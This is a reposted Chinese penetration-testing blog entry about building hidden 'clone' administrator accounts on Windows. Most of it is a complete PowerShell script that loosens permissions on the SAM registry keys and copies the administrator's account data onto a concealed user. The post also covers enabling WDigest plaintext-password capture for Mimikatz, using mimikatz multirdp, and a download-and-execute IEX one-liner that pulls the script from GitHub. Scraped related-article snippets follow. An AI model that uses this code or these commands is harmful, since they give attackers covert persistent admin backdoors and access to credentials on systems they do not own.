隐藏用户建立(Powershell)

最近做测试的时候发现,windows server2012 使用Mimikatz是直接抓不到明文密码的,而且,直接创建的账号登陆有时会碰到这个问题:

ps:2012抓明文需要HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest的"UseLogonCredential"设置为1,类型为DWORD 32才可以,然后下次用户再登录,才能记录到明文密码。

后来发现以前的建立克隆账号的方式是可以使得新建的账号登陆系统的,为了方便,整理了一个powershell脚本,脚本可以自动修改注册表键值权限(需要用administrator权限运行,即bypassuac以后的权限),之后在进行操作。具体代码如下:


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

function Create-Clone

{

<#

.SYNOPSIS

This script requires Administrator privileges. use Invoke-TokenManipulation.ps1 to get system privileges and create the clone user.

.PARAMETER u

The clone username

.PARAMETER p

The clone user‘s password

.PARAMETER cu

The user to clone, default administrator

.EXAMPLE

Create-Clone -u evi1cg -p evi1cg123 -cu administrator

#>

    Param(

        [Parameter(Mandatory=$true)]

        [String]

        $u,

  

        [Parameter(Mandatory=$true)]

        [String]

        $p,

  

        [Parameter(Mandatory=$false)]

        [String]

        $cu = "administrator"

    )

    function upReg{

        "HKEY_LOCAL_MACHINE\SAM [1 17]" | Out-File $env:temp\up.ini

        "HKEY_LOCAL_MACHINE\SAM\SAM [1 17]"| Out-File -Append  $env:temp\up.ini

        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains [1 17]" | Out-File -Append  $env:temp\up.ini

        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [1 17] "| Out-File -Append  $env:temp\up.ini

        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [1 17] "| Out-File -Append  $env:temp\up.ini

        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [1 17]"| Out-File -Append  $env:temp\up.ini

        cmd /c "regini $env:temp\up.ini"

        Remove-Item $env:temp\up.ini

      

    }

    function downreg {

        "HKEY_LOCAL_MACHINE\SAM [1 17]" | Out-File $env:temp\down.ini

        "HKEY_LOCAL_MACHINE\SAM\SAM [17]"| Out-File -Append  $env:temp\down.ini

        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains [17]" | Out-File -Append  $env:temp\down.ini

        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [17] "| Out-File -Append  $env:temp\down.ini

        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [17] "| Out-File -Append  $env:temp\down.ini

        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [17]"| Out-File -Append  $env:temp\down.ini

        cmd /c "regini $env:temp\down.ini"

        Remove-Item $env:temp\down.ini

    }

    function Create-user ([string]$Username,[string]$Password) {

        $group = "Administrators"

        $existing = Test-Path -path "HKLM:\SAM\SAM\Domains\Account\Users\Names\$Username"

        if (!$existing) {

            Write-Host "[*] Creating new local user $Username with password $Password"

            & NET USER $Username $Password /add /y /expires:never | Out-Null

            Write-Host "[*] Adding local user $Username to $group."

            & NET LOCALGROUP $group $Username /add | Out-Null

              

        }

        else {

            Write-Host "[*] Adding existing user $Username to $group."

            & NET LOCALGROUP $group $Username /add | Out-Null

            $adsi = [ADSI]"WinNT://$env:COMPUTERNAME"

            $exist = $adsi.Children | where {$_.SchemaClassName -eq ‘user‘ -and $_.Name -eq $Username }

            Write-Host "[*] Setting password for existing local user $Username"

            $exist.SetPassword($Password)

        }

  

        Write-Host "[*] Ensuring password for $Username never expires."

        & WMIC USERACCOUNT WHERE "Name=‘$Username‘" SET PasswordExpires=FALSE   | Out-Null 

    }

    function GetUser-Key([string]$user)

    {

        cmd /c " echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\$user [1 17] >> $env:temp\$user.ini"

        cmd /c "regini $env:temp\$user.ini"

        Remove-Item $env:temp\$user.ini

        if(Test-Path -Path "HKLM:\SAM\SAM\Domains\Account\Users\Names\$user"){

            cmd /c "regedit /e $env:temp\$user.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\$user""

            $file = Get-Content "$env:temp\$user.reg"  | Out-String

            $pattern="@=hex\((.*?)\)\:"

            $file -match $pattern |Out-Null

            $key = "00000"+$matches[1]

            Write-Host "[!]"$key

            return $key

        }else {

            Write-Host "[-] SomeThing Wrong !"

        }

          

    }

    function Clone ([string]$ukey,[string]$cukey) {

        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\$ukey [1 17] "| Out-File $env:temp\f.ini

        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\$cukey [1 17] " | Out-File $env:temp\f.ini

        cmd /c " regini $env:temp\f.ini"

        Remove-Item $env:temp\f.ini

        $ureg = "HKLM:\SAM\SAM\Domains\Account\Users\$ukey" |Out-String

        $cureg = "HKLM:\SAM\SAM\Domains\Account\Users\$cukey" |Out-String

        Write-Host "[*] Get clone user‘F value"

        $cuFreg = Get-Item -Path $cureg.Trim()

        $cuFvalue = $cuFreg.GetValue(‘F‘)

        Write-Host "[*] Change user‘F value"

        Set-ItemProperty -path $ureg.Trim()  -Name "F" -value $cuFvalue

        $outreg = "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\$ukey"

        cmd /c "regedit /e $env:temp\out.reg $outreg.Trim()"

    }

    function Main () {

        if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))

        {

            Write-Output "Script must be run as administrator"

            break

        }

        Write-Output "[*] Start"

        Write-Output "[*] Tring to change reg privilege !"

        upReg

        if( !(Test-Path -path "HKLM:\SAM\SAM\Domains\Account\Users\Names\$cu")){

            Write-Host "[-] The User to Clone does not exist !"

            Write-Output "[*] Change reg privilege back !"

            downReg

            Write-Output "[*] Exiting !"

        }

        else {

            if(!(Test-Path -path "HKLM:\SAM\SAM\Domains\Account\Users\Names\$u")){

                $tmp = "1"

            }

            else{

                $tmp = "0"

            }

            Write-Output "[*] Create User..."

            Create-user $u $p

            Write-Output "[*] Get User $u‘s  Key .."

            $ukey = GetUser-Key $u |Out-String

            Write-Output "[*] Get User $cu‘s  Key .."

            $cukey = GetUser-Key $cu |Out-String

            Write-Output "[*] Clone User.."

            Clone $ukey $cukey

            if($tmp -eq 1 ){

                Write-Output "[*] Delete User.."

                cmd /c "net User $u /del " |Out-Null

            }else{ Write-Output "[*] Don‘t need to delete.."}

            cmd /c "regedit /s $env:temp\$u.reg"

            cmd /c "regedit /s $env:temp\out.reg"

            Remove-Item $env:temp\*.reg

            Write-Output "[*] Change reg privilege back !"

            downreg

            Write-Output "[*] Done"

        }     

    }

    Main

}

GITHUB:

新建账号以后,可成功登陆系统

在Win7上做的测试如下:

demo

当然可以配合这个姿势来实现多用户登陆。

使用mimikatz.exe,执行ts::multirdp允许多用户远程登录

ps:该方法在系统重启后失效,下次使用需要重新执行命令ts::multirdp,也可通过修改文件termsrv.dll实现永久修改

最后是远程执行的方式:


1

powershell IEX (New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Create-Clone.ps1); Create-Clone -u demo$ -p test123

原文地址:https://www.cnblogs.com/hookjoy/p/9899923.html

时间: 2024-08-15 02:44:53

隐藏用户建立(Powershell)的相关文章

win2008r2的iis7.5手动建站方法,iis7.5中用独立用户建立网站的方法,提高网站安全性

win2003的iis6手动建站方法,iis6中用独立用户建立网站的方法,提高网站安全性,我们前面的教程有说明,请看http://www.piis.cn/zhishi/web574.asp 现在我们说下在WIN2008R2环境中IIS7.5中手动建立网站并设置网站安全的方法: 设置以上身份验证后,部分服务器可能会出现问题(主要是服务器环境配置或安全设置引起的),使得网站打不开,或提示“未能解密属性“password”,因为密钥集不存在”,那么这个时候我们就要将匿名用户标识从“特定用户”修改为“应

【实用】windows隐藏用户及其使用方法

windows用户账户的密码是一个很坑的东西……尼玛你一点漏洞都不给怎么破啊?其实不用破密码也可以登录windows…… windows用户可以隐藏起来的真的耶! win7隐藏用户方法:http://jingyan.baidu.com/article/f96699bb81ace6894f3c1b7b.html windows隐藏用户方法:http://zhidao.baidu.com/link?url=c9kliyl5lTgVeGwZSPYDyNv48BTDFGVUENGCo0XePzAnUJL

在开始屏幕(欢迎屏幕、控制面板的用户账户设置)上隐藏用户账户和开机自动登录某个账户

1.演示环境 本次演示使用的是windows 10,Windows Vista及以上的系统与此类似.为了演示,我在计算机中创建了两个用户"paitouxi"和"xi".以"paitouxi"的身份登录系统,在一些设置项中可以看到其他账户如"xi"的信息.该信息可以在以下几个地方可以看到. (1)开始屏幕 (2)开始菜单 (3)控制面板 (4)设置("开始菜单"左侧的"设置"按钮) (5)

Linux5 ftp服务相关(包括ftp用户建立及ftp用户密码破解)

一:ftp服务的开启和相关设置 1.打开虚拟机linux系统,登陆默认用户root,密码为安装linux系统时自设. 2.因为是在机房环境,我修改了ip地址和物理地址. 3.安装ftp服务用工具,启动ftp服务.输入以下命令: cd ..(退出到根目录,此命令为到上一级目录) cd media(进入指定文件夹) mkdir cdrom (创建cdrom文件夹) ls (显示文件夹内容) cd .. mount /dev/cdrom /media/cdrom/ (光盘镜像文件的挂接) cd med

用户输入电话号码,判断合理与否?要求,判断长度和判断输入内容是否合理 隐藏用户电话号码的中间4位

/** *用户输入电话号码,判断合理与否?要求,判断长度和判断输入内容是否合理 *隐藏用户电话号码的中间4位, *思路: *1.用正则判断  条件:长度11位判断有两种方法,正则{11}和length()==11 *2.输入内容用正则判断 *电话号的正则:      "(13)[0-9][\\d]{8}|(15)[0-9][\\d]{8}" */ public class StringDemo4 { public static void main(String[] args) { St

创建完全的隐藏用户

这里我们使用的环境是windows xp操作系统.其他系统请自行查找相应的位置,原理相同. 首先我们打开测试系统. 然后我们创建一个用户,使用CMD来创建,当然了,如果直接在用户管理中创建也是一样的.这里就不进行演示了,相应的操作请自行查找资料. 这里我们使用的命令是 [net user username password /add] username:你想要添加的用户名 password:你想要设置的密码 net命令下有很多实用的命令,大家可以自行尝试. 这里提示命令成功完成说明已经成功创建了

Mac下创建隐藏用户

查看帮助:man dscl显示所有用户:dscl . list /users显示所有组:sudo dscl . -list /groups GroupMembership添加user到group:sudo dscl . -append /Groups/groupname GroupMembership username从group中删除user:  sudo dscl . -delete /Groups/groupname GroupMembership username 查看ID  dscl

Linux系统学习 十九、VSFTP服务—虚拟用户访问—为每个虚拟用户建立自己的配置文件,单独定义权限

为每个虚拟用户建立自己的配置文件,单独定义权限 可以给每个虚拟用户单独建立目录,并建立自己的配置文件.这样方便单独配置权限,并可以单独指定上传目录 1.修改配置文件 vi /etc/vsftpd/vsftpd.conf user_config_dir=/etc/vsftpd/vusers_dir    #指定保存虚拟用户配置文件的目录 2.建立目录 3.为每个虚拟用户建立配置文件 vi /etc/vsftpd/vusers_dir/cangls anon_upload_enable=YES an

Windows 2003隐藏用户(匿名后门账户)怎么发现,创建及删除

一."命令提示符"中的阴谋 其实,制作系统隐藏账户并不是十分高深的技术,利用我们平时经常用到的"命令提示符"就可以制作一个简单的隐藏账户. 点击"开始"→"运行",输入"CMD"运行"命令提示符",输入"net user piao$ 123456 /add",回车,成功后会显示"命令成功完成".接着输入"net localgroup ad